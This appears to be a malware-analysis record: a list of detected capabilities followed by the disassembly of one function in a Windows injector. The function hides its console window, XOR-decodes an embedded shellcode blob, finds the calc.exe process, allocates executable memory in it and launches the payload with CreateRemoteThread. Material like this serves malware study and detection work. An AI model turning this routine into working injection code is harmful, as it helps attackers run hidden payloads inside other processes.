Function at 0x401637
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Hide graphical window
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
mov eax, 0x33f48
call fcn.0040f510
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 0x40]
mov edx, 0x20
mov rcx, rax
call sym.generateKey_char__int_
lea rax, [rbp + 0x110]
lea rdx, [0x00473040]
mov ecx, 0x33d5f
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov eax, 0x33d5f
mov dword [rbp + 0x33eb8], eax
lea rcx, [rbp - 0x40]
mov edx, dword [rbp + 0x33eb8]
lea rax, [rbp + 0x110]
mov r8, rcx
mov rcx, rax
call sym.xorEncrypt_char__int__char_
mov eax, 0x130
mov dword [rbp - 0x20], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x33eb0], rax
mov dword [rbp + 0x33ebc], 0
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x33eb0]
mov rcx, rax
call sym.Process32First
test eax, eax
setne al
test al, al
je 0x401830
lea rax, [rbp + 0x33e96]
mov rcx, rax
call fcn.00446440
lea rcx, [rbp + 0x33e96]
lea rax, [rbp - 0x20]
lea rdx, [rax + 0x2c]
lea rax, [rbp + 0x33e80]
mov r8, rcx
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x33e96]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x33e97]
mov rcx, rax
call fcn.004464a0
lea rax, [rbp + 0x33e80]
mov rcx, rax
call method.std::string.end__
mov rbx, rax
lea rax, [rbp + 0x33e80]
mov rcx, rax
call method.std::string.begin__
mov rcx, rax
lea rdx, [rbp + 0x33e97]
lea rax, [rbp + 0x33e70]
mov r9, rdx
mov r8, rbx
mov rdx, rcx
mov rcx, rax
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char__std.string______gnu_cxx::__normal_iterator_char__std::string_____gnu_cxx::__normal_iterator_char__std::string___std:
lea rax, [rbp + 0x33e97]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
lea rax, [rbp + 0x33e70]
lea rdx, str.calc.exe
mov rcx, rax
call method.bool_std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__wchar_t_const_
test al, al
je 0x4017d5
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x33ebc], eax
mov ebx, 0
jmp 0x4017da
mov ebx, 1
lea rax, [rbp + 0x33e70]
mov rcx, rax
call fcn.00448720
cmp ebx, 1
je 0x4017f5
mov ebx, 0
jmp 0x4017fb
nop
mov ebx, 1
lea rax, [rbp + 0x33e80]
mov rcx, rax
call fcn.0044fd10
cmp ebx, 1
jne 0x401830
nop
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x33eb0]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x40170b
mov rax, qword [rbp + 0x33eb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x33ebc]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x33ea8], rax
mov eax, dword [rbp + 0x33eb8]
movsxd rdx, eax
mov rax, qword [rbp + 0x33ea8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x33ea0], rax
mov eax, dword [rbp + 0x33eb8]
movsxd r8, eax
lea rcx, [rbp + 0x110]
mov rdx, qword [rbp + 0x33ea0]
mov rax, qword [rbp + 0x33ea8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x33ea0]
mov rax, qword [rbp + 0x33ea8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x33e98], rax
mov rax, qword [rbp + 0x33e98]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x33e98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x33ea8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x4019c8
add rsp, 0x33f48
pop rbx
pop rbp
ret